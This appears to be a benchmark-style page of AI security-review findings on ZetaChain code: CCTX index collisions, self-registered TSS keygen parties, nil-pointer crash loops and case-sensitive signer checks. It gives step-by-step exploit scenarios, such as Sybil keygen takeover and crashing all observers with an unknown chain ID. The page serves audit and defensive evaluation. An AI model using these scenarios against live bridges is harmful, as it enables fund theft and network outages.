A single transaction by any user creates a permanent nonce hole for the destination chain: the cctx with nonce N+1 is signed and broadcast but never mined because the TSS account nonce is stuck at N, and every later outbound on that chain queues behind it. Outbound processing for the chain (ZETA, ERC20 and gas withdrawals of all users) is frozen until governance/manual intervention. The overwritten withdrawal's ZRC20 is also burned without any outbound (loss for the sender). The same collision happens across different inbound deposit-and-call transactions because logs produced by CallEVMWithData carry an all-zero TxHash, so identical withdrawals triggered by different deposits also collide.
- Description
-
ProcessZRC20WithdrawalEvent/ProcessZetaSentEvent derive the cctx Index from msg.Digest() (a hash of sender, receiver, amount, coin, in_tx_hash with Creator and height zeroed) and ProcessCCTX allocates a fresh nonce via UpdateNonce before writing the cctx under that Index. Two identical events in the same tx (same TxHash) produce the same Index, so the second SetCrossChainTx overwrites the first while both consumed a nonce.
- Exploit scenario
-
1) Deploy helper H on ZEVM with function twice(zrc20,to,amt){ zrc20.withdraw(to,amt); zrc20.withdraw(to,amt); }. 2) Fund H with 2*(amt+gasFee) of ZRC20/gas ZRC20 and call twice(). 3) PostTxProcessing sees two identical Withdrawal logs, creating two cctxs with equal Index and nonces N and N+1; the store keeps only the N+1 one. 4) The signer broadcasts nonce N+1 on the external chain; it never confirms because nonce N is never filled, blocking all later nonces.
- Recommendation
-
Make the cctx index unique (include log index/event sequence and a per-chain counter) and refuse to overwrite an existing cctx; allocate the nonce only after confirming the index is new. Add a recovery path for orphaned nonces.
Claude Security (Opus 5.5)
Identical zEVM withdrawal events produce the same CCTX index, so one overwrites the other and leaves a permanent TSS nonce gap
x/crosschain/keeper/evm_hooks.go:111Predicted severity: High- Root cause
-
Vulnerable symbol: ProcessZRC20WithdrawalEvent
Preconditions: The attacker can pay ZRC20 withdraw gas fees on zEVM
Offending code:
sendHash := msg.Digest()
- Impact
-
Any zEVM user can permanently halt all outbound transfers to a chosen EVM chain at very low cost. The overwritten withdrawal's funds are also lost.
- Description
-
The CCTX index is msg.Digest() over (contract=msg.To, receiver, amount, chain, coin, InTxHash). It excludes the log index, the event sender and the block height. Two identical ZRC20 Withdrawal or ZetaSent events in one zEVM tx therefore get the same index. ProcessCCTX gives each a fresh nonce and SetCrossChainTx overwrites the first, so the first nonce never has a CCTX and is never signed.
- Exploit scenario
-
The attacker deploys a zEVM contract that calls ETH-ZRC20.withdraw(to, 1) twice in one tx after paying the two small gas fees. PostTxProcessing builds two identical messages. The first CCTX gets nonce N and is then overwritten by the second, which gets nonce N+1. No zetaclient ever signs nonce N on Ethereum, so every later outbound tx (N+1, N+2, ...) sits unmineable and all outbound to that chain halts until manual intervention. Logs from module-originated ApplyMessage calls (the HandleEVMDeposit deposit-and-call path) carry a zero TxHash, so repeated identical deposit-and-call withdrawals collide across different blocks too.
- Recommendation
-
Derive the CCTX index from a unique tuple such as tx hash, log index and block height, and refuse to create a CCTX whose index already exists. Also make module-originated EVM calls carry a unique tx hash.
Vercel Security Review
Identical withdrawals overwrite a CCTX and leave an unfillable TSS nonce
x/crosschain/keeper/evm_hooks.go:109Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. Distinct withdrawal logs collapse to one identifier** -
x/crosschain/keeper/evm_hooks.go:109-112```go title="x/crosschain/keeper/evm_hooks.go:109-112"
msg := zetacoretypes.NewMsgSendVoter("", contract.Hex(), senderChain.ChainId, txOrigin, toAddr, receiverChainID, math.NewUintFromBigInt(event.Value),
"", event.Raw.TxHash.String(), event.Raw.BlockNumber, 90000, coinType, asset)
sendHash := msg.Digest()
cctx := k.CreateNewCCTX(ctx, msg, sendHash, zetacoretypes.CctxStatus_PendingOutbound, &senderChain, recvChain)
```
An unprivileged contract can call a registered ZRC20's withdrawal twice with identical parameters in one transaction. Neither identifier includes the log index.
**2. Each log nevertheless consumes a nonce** -
x/crosschain/keeper/keeper_utils.go:146-148```go title="x/crosschain/keeper/keeper_utils.go:146-148"
cctx.GetCurrentOutTxParam().OutboundTxTssNonce = nonce.Nonce
nonce.Nonce++
k.SetChainNonces(ctx, nonce)
```
The two commands receive N and N+1.
**3. The second command destroys the first** -
x/crosschain/keeper/keeper_cross_chain_tx.go:28-31```go title="x/crosschain/keeper/keeper_cross_chain_tx.go:28-31"
p := types.KeyPrefix(fmt.Sprintf("%s-%d", types.SendKey, send.CctxStatus.Status))
store := prefix.NewStore(ctx.KVStore(k.storeKey), p)
b := k.cdc.MustMarshal(&send)
store.Set(types.KeyPrefix(send.Index), b)
```
Only N+1 survives. No command can fill N, so subsequent EVM outbounds for all users on that chain stall pending operator repair.
- Exploit scenario
-
Not specified.
- Recommendation
-
Include the withdrawal log index in CCTX identity and preserve a separate CCTX for every withdrawal. Allocate and persist each nonce atomically with its unique command; reject any unexpected existing identifier before incrementing the nonce.
-
Missing authentication when adding node keys zetachain-7 · 4 writeups Critical
V12
Permissionless registrations enter the keygen participant roster
x/crosschain/types/message_set_node_keys.go:30Predicted severity: Informational- Root cause
-
The startup keygen path treats the permissionlessly populated
NodeAccountregistry as an authorized TSS participant roster.NodeStatus_Unknownand the bonded-validator filter used by a separate, disabled initializer do not constrain that consumer. - Impact
-
An inference supported by the request construction is that a nonparticipating registered account can disrupt configured startup key generation, or that registering many controlled accounts can distort the participant set. Whether this also changes signing authority is unresolved: the exact missing facts are the participant admission and quorum rules inside
go-tss v1.5.7, whose implementation was not available after searching the repository and attempting to read dependency sources; no theft or fund freeze is established. - Description
-
SetNodeKeysadmits any creator with a matching account public key and stores the registration withNodeStatus_Unknown; neither registration nor the startup keygen consumer requires validator membership. WhenKeygenBlockis positive,genNewKeysAtBlockobtains node accounts throughGetAllNodeAccountsand copies every returned secp256k1 key into a TSS keygen request without checking status, staking membership, or an approved participant set. Thus an external account can register its own valid key before that fetch and become a requested participant in other nodes' key generation. This differs fromInitializeGenesisKeygen, which appliesIsBondedValidator, but that helper's EndBlock invocation is commented out and does not protect the startup path. The source establishes untrusted participant selection, not a demonstrated compromise of the external TSS implementation.
Devin Security (Deep)
Anyone can register a node account, and the operator keygen flow uses every node account as a TSS key share holder
x/crosschain/keeper/keeper_node_account.go:103Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone with a funded ZetaChain account can register a node key before a key generation ceremony and either break the ceremony or, by registering enough keys and running their own TSS nodes, take a controlling share of the key that holds all bridged funds.
##### What's wrong
This is a missing authorization check.
SetNodeKeyslets any signer create a node account with an arbitrary public key set; it never checks that the signer is a validator or observer. The operator key generation flow in the observer client (zetaclientd startwith--keygen-block) builds the TSS participant list from every node account on chain without filtering, so the registered key becomes a keygen party.##### Who can do it
Acme Corp runs the ZetaChain validators and schedules a TSS key generation at block H using
zetaclientd init --keygen-block H. Mallory, an outsider with a funded ZetaChain account (testnet faucet tokens are enough), submitsMsgSetNodeKeyswith her own TSS public key before block H. If she wants control rather than disruption, she submits several such messages from several accounts and runs matching go-tss nodes connected to the same p2p rendezvous.Conditions:
- Operators run key generation through the
--keygen-blockpath incmd/zetaclientd/start.go(the in-chain genesis keygen at block 80 filters by bonded validator and is not affected).- Mallory submits
MsgSetNodeKeysbefore the keygen block.- For takeover, Mallory's TSS nodes must reach the honest nodes' p2p network and she must register at least two thirds of the total party count.
##### What they get
At minimum, Mallory stops the ceremony: go-tss requires every listed party to participate, so a key that no online node holds makes keygen fail and the bridge cannot start signing. At worst, with enough registered keys and running nodes, Mallory holds a threshold share of the TSS key and can sign withdrawals from the TSS address on every connected chain, draining all funds users deposited into the bridge.
##### How it works
1. Mallory sends
MsgSetNodeKeyswith herPubkeySet;SetNodeKeysinx/crosschain/keeper/keeper_node_account.go:103-124only parses the address and stores the node account.2. Each operator's
zetaclientd startcallsgenNewKeysAtBlockincmd/zetaclientd/start.go:231-291, which queriesNodeAccountAlland puts every account'sPubkeySet.Secp256k1into the keygen request (start.go:243-251).3. go-tss runs the ceremony with that party list (
start.go:266-267); a missing party fails keygen, and a party Mallory operates receives a key share.4. The resulting TSS public key is set on chain via
SetTSS(start.go:119) and becomes the custody address for all connected chains. - Exploit scenario
-
Not specified.
- Recommendation
-
Require
msg.Creatorto be a bonded validator (or an authorized observer) inSetNodeKeys, and make the client keygen path incmd/zetaclientd/start.gouse the on-chainKeygen.Pubkeyslist (or filter node accounts by bonded validator) instead of every node account. Verify by submittingMsgSetNodeKeysfrom a non-validator account on a localnet and checking that it is rejected and that a keygen run does not include its key.
Claude Security (Sonnet 5.5)
SetNodeKeys lets any account register a node account; zetaclient then uses every node account as a TSS keygen participant
x/crosschain/keeper/keeper_node_account.go:103Predicted severity: High- Root cause
-
Vulnerable symbol: msgServer.SetNodeKeys
Preconditions: Keygen is performed through the zetaclientd --keygen-block path, which uses all node accounts without filtering; The attacker registers before the keygen block and, to gain signing power rather than just DoS, runs TSS peers; Attacker has tiny funds for gas
Offending code:
func (k msgServer) SetNodeKeys(goCtx context.Context, msg *types.MsgSetNodeKeys) (*types.MsgSetNodeKeysResponse, error) {
- Impact
-
An unprivileged attacker can add many Sybil parties to a TSS keygen. Registering unresponsive parties makes keygen fail, which blocks bootstrap or rotation. If the attacker runs the extra parties, they can accumulate enough key shares to reach the signing threshold and take over the TSS key that custodies the bridged assets. The index is the raw bech32 string, so an upper-case variant of the same creator address bypasses the 'already has a node account' check and creates a duplicate record for one key.
- Description
-
The handler only checks that the creator has no node account yet. It never checks that the creator is a bonded validator or an observer. The only gate is ValidateBasic, which requires the pubkey to match the creator, so an attacker simply generates fresh keys. zetaclientd genNewKeysAtBlock (cmd/zetaclientd/start.go:243-266) queries all node accounts and passes every Secp256k1 pubkey, unfiltered, to go-tss Keygen. The chain-side keygen path in end_block_server_keygen.go does filter with IsBondedValidator, which shows the intended invariant is missing here.
- Exploit scenario
-
1) Before operators run
zetaclientd start --keygen-block N(contrib/localnet/scripts/keygen.sh), the attacker generates k secp256k1 keys. 2) For each key they submit MsgSetNodeKeys signed by that key, paying only gas. 3) Honest zetaclients fetch GetAllNodeAccounts and call tss.Server.Keygen with the honest plus attacker pubkeys. 4) Either the attacker nodes stay offline, so keygen fails and is blamed on the honest nodes, or the attacker nodes join and hold shares, with k large enough to meet the 2/3 signing threshold. - Recommendation
-
Restrict SetNodeKeys to bonded validators or observers, for example IsBondedValidator or an observer-list check, and normalise the creator address before using it as a store key. Filter the zetaclient keygen participant list to bonded validators, or take it only from the on-chain Keygen object.
Claude Security (Opus 5.5)
TSS keygen party list is built from every self-registered node account, so an attacker can join or break vault key generation
cmd/zetaclientd/start.go:250Predicted severity: High- Root cause
-
Vulnerable symbol: genNewKeysAtBlock
Preconditions: Operators have configured a keygen block (KeygenBlock > 0), which is how vault keys are created and rotated; The attacker holds a funded zeta account to pay gas for MsgSetNodeKeys, and registers before honest clients fetch node accounts at start.go:243; For theft (not needed for DoS): the attacker can reach honest TSS nodes over libp2p (go-tss v1.5.7 is configured with no peer allowlist) and registers enough Sybil node accounts to meet the keysign threshold. This relies on go-tss library behavior that was not verified by running it
Offending code:
pubkeys = append(pubkeys, na.PubkeySet.Secp256k1.String())
- Impact
-
Unauthorized control over the cross-chain TSS vault key, which allows theft of all funds sent to the TSS addresses. At minimum, anyone can cheaply cause a permanent failure of TSS key generation and key rotation.
- Description
-
genNewKeysAtBlock asks zetacore for every node account (GetAllNodeAccounts, start.go:243) and adds each pubkey to the TSS keygen request (start.go:250, used at start.go:266). It never checks that the account belongs to a bonded validator or an authorized observer, and it ignores NodeStatus. Anyone can create these node accounts: the MsgSetNodeKeys handler (x/crosschain/keeper/keeper_node_account.go:103-118) has no authorization check, and ValidateBasic only requires the pubkey to match the sender's own address. So any funded account can make itself a TSS keygen party.
- Exploit scenario
-
Before the configured keygen block, an attacker sends cheap MsgSetNodeKeys transactions from many fresh accounts, each with a pubkey derived from that account's own key. (a) DoS: if even one registered party never joins, or if honest clients fetch the account list at different times and so build different party lists, go-tss keygen fails for every honest node and no vault key is created. (b) Theft: the attacker runs go-tss nodes on the hard-coded rendezvous string 'MetaMetaOpenTheDoor' (port 6668), using p2p identities derived from those account keys, and takes part in keygen. If the attacker registers more parties than the honest set (e.g. 9 attacker parties against 4 honest ones, so 9 of 13 meet the keysign threshold), the attacker holds enough shares to sign alone. Honest zetaclients then report the resulting TSS address through SetTSS/CreateTSSVoter (start.go:119), and every bonded validator votes for it. The attacker can then sign withdrawals from the BTC and EVM vaults at will.
- Recommendation
-
Build the keygen party list only from authorized signers. Intersect the node accounts with the bonded validator set or the observer set (the same rule as CreateTSSVoter/IsAuthorized), or have the chain store an authoritative, governance-approved keygen party list that every client reads. Separately, add an authorization check to MsgSetNodeKeys (bonded validator or observer only) so that node accounts cannot be self-registered.
-
Missing nil check when parsing client event zetachain-8 · 5 writeups High
V12
Unsupported destination events crash the client daemon
zetaclient/evm_client.go:544Predicted severity: Medium- Root cause
-
The connector event path assumes a decoded uint256 destination always resolves to a locally known, configured chain before dereferencing the lookup results.
- Impact
-
An unsupported destination in external RPC event data can terminate the client daemon and interrupt observations and signing across its chains. Whether an ordinary connector caller can cause the deployed contract to emit such an event remains unresolved: the reviewed Go bindings expose the destination argument, but the deployed external connector's executable validation was not available in the searched repository Solidity sources.
- Description
-
For every decoded connector event,
observeInTXconvertsDestinationChainIdwithInt64()and looks up the resulting chain.common.GetChainFromChainIDreturns nil for unknown identifiers. The caller immediately dereferencesdestChain.ChainNameand then the correspondingChainConfigsentry without checking either lookup. A correctly ABI-encoded RPC event carrying an unsupported destination therefore panics before the observer can reject or skip it. The watcher runs in a goroutine without a recovery handler, and its normal error-return handling cannot intercept that panic.
Devin Security
Nil pointer panic on a ZetaSent event with an unknown destination chain crashes every zetaclient
zetaclient/evm_client.go:560Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone can emit one ZetaSent event with an unsupported destination chain ID and crash every observer, which stops the bridge until the code is patched.
##### What's wrong
This is a nil pointer dereference. The inbound watcher turns the event's destination chain ID into a chain object and uses it without checking for nil. It also uses a config map entry without checking that it exists.
##### Who can do it
Mallory, an anonymous user with a wallet on Goerli, calls the public connector
sendfunction withdestinationChainIdset to 999999. Every zetaclient sees the event and crashes. When an operator restarts a node, it reads the same saved block height, sees the same event again, and crashes again.- Mallory can call the connector's
sendon a connected EVM chain. The chain ID is not validated on-chain.-
destinationChainIdis not inDefaultChainsList, or the chain is missing from the node'sChainConfigs.##### What they get
All observers stop processing deposits and outbound transfers on every chain, because the panic kills the whole process. No funds are stolen. The outage lasts until a code fix ships.
##### How it works
1.
observeInTXreads ZetaSent logs from the connector (zetaclient/evm_client.go:544-560).2.
common.GetChainFromChainIDreturns nil for an unknown ID (common/chain.go:104-112), and the code does not check the result (zetaclient/evm_client.go:563).3.
destChain.ChainNamedereferences nil, andconfig.ChainConfigs[...]can also return a nil entry (zetaclient/evm_client.go:566).4. The
ExternalChainWatchergoroutine has norecover, so the process exits beforeSetLastBlockHeightsaves progress (zetaclient/evm_client.go:481-497, 731-734). - Exploit scenario
-
Not specified.
- Recommendation
-
If
destChainis nil orconfig.ChainConfigshas no entry for it, log the event and skip it withcontinue. Also add arecoverto the watcher goroutines. To verify, add a test that feeds a ZetaSent event with chain ID 999999 and confirm the loop moves past it.
Devin Security (Deep)
ZetaSent event with an unknown destination chain id crashes every zetaclient observer in a restart loop
zetaclient/evm_client.go:560Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone can send one cheap transaction to the ZetaChain connector on Ethereum and crash every observer and signer node, and because the crash happens before the scanned block is recorded, the nodes keep crashing after every restart until the code is patched, so the bridge stops; no funds or data are exposed.
##### What's wrong
This is an unchecked nil pointer from untrusted input.
GetChainFromChainIDreturns nil for chain ids outside the built in list, and the observer dereferences the result without checking it, using a chain id copied straight from an on chain event anyone can emit.##### Who can do it
Mallory has an Ethereum account. She calls
sendon the ZetaChain connector contract on Ethereum withdestinationChainIdset to 424242 andzetaValueAndGasset to zero.- Mallory needs an Ethereum account with gas; no ZETA tokens are required for a zero value send.
- The zetaclient observer for that chain must scan the block containing her event, which it does for every block.
##### What they get
Every zetaclient process panics while scanning that block. The last scanned height is only persisted after the scan completes, so each restart rescans the same block and panics again. All inbound observation and outbound signing for every connected chain stops, because one process hosts all chain clients and the TSS signer. Pending user withdrawals and deposits are frozen until operators patch the binary. Mallory cannot take funds; this is a full outage of the bridge.
##### How it works
1. Mallory emits a
ZetaSentevent on Ethereum withdestinationChainId = 424242.2.
observeInTXatzetaclient/evm_client.go:544-548fetches ZetaSent logs from the connector for the new block range.3. Line 563 calls
common.GetChainFromChainID(event.DestinationChainId.Int64()), which returns nil atcommon/chain.go:104-112because 424242 is not inDefaultChainsList.4. Line 566 reads
destChain.ChainName, which dereferences nil and panics inside theExternalChainWatchergoroutine started at line 190 with no recover, terminating the process.5. The height is only saved at lines 731-734 after the loop, so the next start rescans the same block and hits the same panic.
- Exploit scenario
-
Not specified.
- Recommendation
-
Check the result of
GetChainFromChainIDfor nil atevm_client.go:563and skip the event with a warning log when the destination chain is unknown; apply the same check atevm_signer.go:217-221andzetacore_observer.go:278. Also wrap the observer goroutines with a recover that logs and continues. Verify by emitting a ZetaSent event with an unsupported chain id on a local Ethereum node and confirming the zetaclient logs a warning, keeps running, and advances its scanned height.
Claude Security (Sonnet 5.5)
Unvalidated destinationChainId in observed ZetaSent event causes nil-pointer panic and persistent crash loop of the whole zetaclient
zetaclient/evm_client.go:566Predicted severity: High- Root cause
-
Vulnerable symbol: EVMChainClient.observeInTX
Preconditions: The attacker can submit a transaction to the Zeta connector on any chain observed by zetaclient (public function); Connector send() does not reject unknown destination chain IDs (upstream behaviour; contract source not in repo)
Offending code:
if strings.EqualFold(destAddr, config.ChainConfigs[destChain.ChainName.String()].ZETATokenContractAddress) {
- Impact
-
A permissionless attacker can crash every observer/signer node at the same time and keep them in a crash loop. This halts inbound observation, outbound TSS signing and gas-price posting for all chains handled by the process, until operators intervene manually. No funds are directly stolen, but the bridge is down.
- Description
-
The destinationChainId field of ZetaSent logs from the public Zeta connector contract is attacker-chosen, and the code passes it to common.GetChainFromChainID, which returns nil for unknown IDs. The result is dereferenced unchecked at destChain.ChainName and at config.ChainConfigs[...].ZETATokenContractAddress, where the map entry is also nil for chains such as BTC that have no ChainETHish entry. The panic is unrecovered, so the process dies.
- Exploit scenario
-
1. The attacker calls ZetaConnector.send on a monitored EVM chain with a destinationChainId that is not in DefaultChainsList (for example 0xdeadbeef). They could also use a known non-EVM chain ID such as the BTC chain ID, which has no ChainConfigs entry in the testnet/privnet builds. zetaValueAndGas can be zero or minimal, so the only cost is gas. This relies on the connector's send() not validating the destination chain, as in the upstream ZetaConnector; the Solidity source is not in this repo, only the ABI and bytecode bindings.
2. Within one scan window (MaxBlocksPerPeriod=100 blocks) every validator's zetaclient runs observeInTX over the block holding the log.
3. FilterZetaSent yields the event and the code dereferences a nil *Chain (or nil *ChainETHish). The panic occurs in the ExternalChainWatcher goroutine, there is no recover() anywhere in zetaclient or cmd, and the whole process exits.
4. lastBlock and PosKey are only advanced at the end of observeInTX (lines 731-734), so on restart the same block range is rescanned and the process crashes again, until an operator manually sets <CHAIN>_SCAN_FROM or patches the code.
- Recommendation
-
Check for nil from GetChainFromChainID and for a missing config.ChainConfigs entry before dereferencing, and skip or log the event. Also check that DestinationChainId fits in int64. Wrap the per-event processing in a recover so one malformed external event cannot kill the process, and advance the scan cursor past unprocessable logs.
Claude Security (Opus 5.5)
Attacker-chosen DestinationChainId in a ZetaSent event dereferences nil and crash-loops every zetaclient
zetaclient/evm_client.go:566Predicted severity: High- Root cause
-
Vulnerable symbol: observeInTX
Preconditions: Inbound is enabled in zetacore permission flags (the default); The EVM ZetaConnector send() accepts any destinationChainId (true of the public connector contract; its source is not in this repository)
Offending code:
if strings.EqualFold(destAddr, config.ChainConfigs[destChain.ChainName.String()].ZETATokenContractAddress) {
- Impact
-
Anyone who can pay gas on a supported EVM chain can halt the whole cross-chain bridge. Every observer and TSS signer goes into a crash loop, so deposits and withdrawals on all chains freeze. This is a liveness failure across the network.
- Description
-
Any EVM user sets
event.DestinationChainIdby calling the connector'ssend. That value goes tocommon.GetChainFromChainID, which returns nil for an unknown id (common/chain.go:104-112). Line 566 then readsdestChain.ChainNamewith no nil check. A chain id that is known but has no ETH-style config (for example btc_testnet) also panics, becauseconfig.ChainConfigs[...]is a nil*ChainETHish. - Exploit scenario
-
1. The attacker calls ZetaConnector.send on an observed EVM chain (Goerli, BSC testnet, Mumbai, and so on) with destinationChainId = 999999 and zetaValueAndGas = 0 or 1 wei.
2. After the confirmation depth, every observer's ExternalChainWatcher goroutine reaches line 566 and panics with a nil pointer dereference.
3. Nothing recovers the panic, so the whole zetaclientd process exits on every validator.
4. On restart, BuildBlockIndex reads the old PosKey from leveldb, scans the same block again and panics again.
5. Inbound observation, outbound TSS signing and gas-price voting stop on all chains until operators manually set
<chain>_SCAN_FROMpast the block (also skipping legitimate deposits) or patch the code. - Recommendation
-
Check that
GetChainFromChainIDreturned a non-nil chain and thatconfig.ChainConfigs[...]exists before using either. If the chain is unsupported, log it and skip the event (continue) instead of dereferencing. Add a recover() at the top of each observer goroutine so a single bad event cannot kill the process. Store the scanned-block position in a way that cannot get stuck on one block that always fails.
-
Case-sensitive address check allows for double signing zetachain-9 · 2 writeups High
V12
Noncanonical identities can occupy multiple consensus slots
x/crosschain/keeper/utils.go:10Predicted severity: Informational- Root cause
-
Authorization and duplicate detection use different identity equivalence relations: decoded address bytes versus raw Creator strings. Signer-count consensus relies on the latter without canonicalization.
- Impact
-
The security question is whether accepted Bech32 aliases let one validator meet the TSS consensus gate with fewer independent identities than required. The exact missing fact is alias acceptance and normalization in Cosmos SDK v0.46.8's
AccAddressFromBech32/Bech32 decoder; repository-wide decoder/alias searches and the local validation, signer extraction, ante wiring, and tally paths were examined, but dependency code and runtime execution were unavailable. Custody theft is not established because the retrieved client signs with independently selected local keys. - Description
-
IsBondedValidatorauthorizes by decoded account/operator bytes, whereasisDuplicateSignercompares the original Creator strings verbatim.CreateTSSVoterpersists those original strings and counts their number as independent validators.ValidateBasicalso only delegates Creator validation tosdk.AccAddressFromBech32, without requiring a canonical re-encoding. If the pinned Bech32 decoder accepts uppercase and lowercase spellings of the same account, one bonded validator can submit both spellings for the same payload and session and occupy two signer slots. The decoder implementation was unavailable in the workspace, so acceptance of that concrete alias pair is an unresolved precondition rather than a verified exploit.
Claude Security (Sonnet 5.5)
CreateTSSVoter duplicate-signer check is case-sensitive, so a validator can vote twice and the 'full consensus' TSS requirement is weakened
x/crosschain/keeper/keeper_tss_voter.go:118Predicted severity: Low- Root cause
-
Vulnerable symbol: msgServer.CreateTSSVoter
Preconditions: Colluding bonded validators, at least about half of the set; Cosmos SDK AccAddressFromBech32 accepting all-uppercase bech32. I believe it does but could not confirm in the vendored module source.
Offending code:
if isDuplicateSigner(msg.Creator, tssVoter.Signers) {
- Impact
-
The code says TSS finalisation needs full consensus: len(Signers) == len(validators). With double voting, roughly half the validators acting twice reach N entries and call SetTSS. A minority can therefore overwrite the on-chain TSS pubkey and address that observers and signers consult.
- Description
-
Eligibility is checked by decoding the creator to bytes (IsBondedValidator, utils.go:10-26), which accepts both the all-lowercase and all-uppercase bech32 forms of one address. The double-vote check compares raw strings (isDuplicateSigner, keeper_chain_nonces.go:136-143). The same validator can therefore sign the identical message once with
zeta1...and once withZETA1.... Each form is appended to Signers. - Exploit scenario
-
With N bonded validators, ceil(N/2) colluding validators each submit MsgCreateTSSVoter with a lowercase Creator and again with an uppercase Creator. The message digest zeroes Creator, so both land in the same tssVoter record. After exactly N entries the handler stores the attacker-chosen TSS record.
- Recommendation
-
Normalise to canonical sdk.AccAddress bytes or the canonical bech32 string before storing or comparing signers. Apply the same normalisation wherever signer strings are used as keys. Compare against validators that are actually bonded, not GetAllValidators, when computing the consensus size.
-
No panic handler in Zetaclient may halt cross-chain communication zetachain-10 · 5 writeups High
V12
Empty keygen reply crashes the observer process
zetaclient/zetacore_observer.go:66Predicted severity: Medium- Root cause
-
The coordinator trusts successful transport status to imply the presence of an optional protobuf record and has no containment for the resulting goroutine panic.
- Impact
-
A successful RPC response omitting
Keygencan terminate the entire observer process, interrupting all of its chain observation and signing work. This requires the configured RPC boundary to deliver such a response; ordinary missing-record replies from the inspected keeper return an error and do not trigger the panic. - Description
-
GetKeyGenreturns the optionalKeygenpointer from a successful gRPC response without checking that the field is present.keygenObservechecks only the returned error before directly accessingkg.BlockNumber. The generated query client allocates a response object, but the response's nestedKeygenfield remains nullable, so an empty successful response reaches a nil dereference. This operation runs in a goroutine launched byMonitorCorewithout panic recovery. The repository's own keeper returns a non-nil keygen on success, so this candidate specifically concerns malformed or version-skewed responses at the external RPC boundary rather than a missing record from that keeper.
Devin Security
Nil pointer panic on a ZetaSent event with an unknown destination chain crashes every zetaclient
zetaclient/evm_client.go:560Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone can emit one ZetaSent event with an unsupported destination chain ID and crash every observer, which stops the bridge until the code is patched.
##### What's wrong
This is a nil pointer dereference. The inbound watcher turns the event's destination chain ID into a chain object and uses it without checking for nil. It also uses a config map entry without checking that it exists.
##### Who can do it
Mallory, an anonymous user with a wallet on Goerli, calls the public connector
sendfunction withdestinationChainIdset to 999999. Every zetaclient sees the event and crashes. When an operator restarts a node, it reads the same saved block height, sees the same event again, and crashes again.- Mallory can call the connector's
sendon a connected EVM chain. The chain ID is not validated on-chain.-
destinationChainIdis not inDefaultChainsList, or the chain is missing from the node'sChainConfigs.##### What they get
All observers stop processing deposits and outbound transfers on every chain, because the panic kills the whole process. No funds are stolen. The outage lasts until a code fix ships.
##### How it works
1.
observeInTXreads ZetaSent logs from the connector (zetaclient/evm_client.go:544-560).2.
common.GetChainFromChainIDreturns nil for an unknown ID (common/chain.go:104-112), and the code does not check the result (zetaclient/evm_client.go:563).3.
destChain.ChainNamedereferences nil, andconfig.ChainConfigs[...]can also return a nil entry (zetaclient/evm_client.go:566).4. The
ExternalChainWatchergoroutine has norecover, so the process exits beforeSetLastBlockHeightsaves progress (zetaclient/evm_client.go:481-497, 731-734). - Exploit scenario
-
Not specified.
- Recommendation
-
If
destChainis nil orconfig.ChainConfigshas no entry for it, log the event and skip it withcontinue. Also add arecoverto the watcher goroutines. To verify, add a test that feeds a ZetaSent event with chain ID 999999 and confirm the loop moves past it.
Devin Security (Deep)
ZetaSent event with an unknown destination chain id crashes every zetaclient observer in a restart loop
zetaclient/evm_client.go:560Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone can send one cheap transaction to the ZetaChain connector on Ethereum and crash every observer and signer node, and because the crash happens before the scanned block is recorded, the nodes keep crashing after every restart until the code is patched, so the bridge stops; no funds or data are exposed.
##### What's wrong
This is an unchecked nil pointer from untrusted input.
GetChainFromChainIDreturns nil for chain ids outside the built in list, and the observer dereferences the result without checking it, using a chain id copied straight from an on chain event anyone can emit.##### Who can do it
Mallory has an Ethereum account. She calls
sendon the ZetaChain connector contract on Ethereum withdestinationChainIdset to 424242 andzetaValueAndGasset to zero.- Mallory needs an Ethereum account with gas; no ZETA tokens are required for a zero value send.
- The zetaclient observer for that chain must scan the block containing her event, which it does for every block.
##### What they get
Every zetaclient process panics while scanning that block. The last scanned height is only persisted after the scan completes, so each restart rescans the same block and panics again. All inbound observation and outbound signing for every connected chain stops, because one process hosts all chain clients and the TSS signer. Pending user withdrawals and deposits are frozen until operators patch the binary. Mallory cannot take funds; this is a full outage of the bridge.
##### How it works
1. Mallory emits a
ZetaSentevent on Ethereum withdestinationChainId = 424242.2.
observeInTXatzetaclient/evm_client.go:544-548fetches ZetaSent logs from the connector for the new block range.3. Line 563 calls
common.GetChainFromChainID(event.DestinationChainId.Int64()), which returns nil atcommon/chain.go:104-112because 424242 is not inDefaultChainsList.4. Line 566 reads
destChain.ChainName, which dereferences nil and panics inside theExternalChainWatchergoroutine started at line 190 with no recover, terminating the process.5. The height is only saved at lines 731-734 after the loop, so the next start rescans the same block and hits the same panic.
- Exploit scenario
-
Not specified.
- Recommendation
-
Check the result of
GetChainFromChainIDfor nil atevm_client.go:563and skip the event with a warning log when the destination chain is unknown; apply the same check atevm_signer.go:217-221andzetacore_observer.go:278. Also wrap the observer goroutines with a recover that logs and continues. Verify by emitting a ZetaSent event with an unsupported chain id on a local Ethereum node and confirming the zetaclient logs a warning, keeps running, and advances its scanned height.
Claude Security (Sonnet 5.5)
Unvalidated destinationChainId in observed ZetaSent event causes nil-pointer panic and persistent crash loop of the whole zetaclient
zetaclient/evm_client.go:566Predicted severity: High- Root cause
-
Vulnerable symbol: EVMChainClient.observeInTX
Preconditions: The attacker can submit a transaction to the Zeta connector on any chain observed by zetaclient (public function); Connector send() does not reject unknown destination chain IDs (upstream behaviour; contract source not in repo)
Offending code:
if strings.EqualFold(destAddr, config.ChainConfigs[destChain.ChainName.String()].ZETATokenContractAddress) {
- Impact
-
A permissionless attacker can crash every observer/signer node at the same time and keep them in a crash loop. This halts inbound observation, outbound TSS signing and gas-price posting for all chains handled by the process, until operators intervene manually. No funds are directly stolen, but the bridge is down.
- Description
-
The destinationChainId field of ZetaSent logs from the public Zeta connector contract is attacker-chosen, and the code passes it to common.GetChainFromChainID, which returns nil for unknown IDs. The result is dereferenced unchecked at destChain.ChainName and at config.ChainConfigs[...].ZETATokenContractAddress, where the map entry is also nil for chains such as BTC that have no ChainETHish entry. The panic is unrecovered, so the process dies.
- Exploit scenario
-
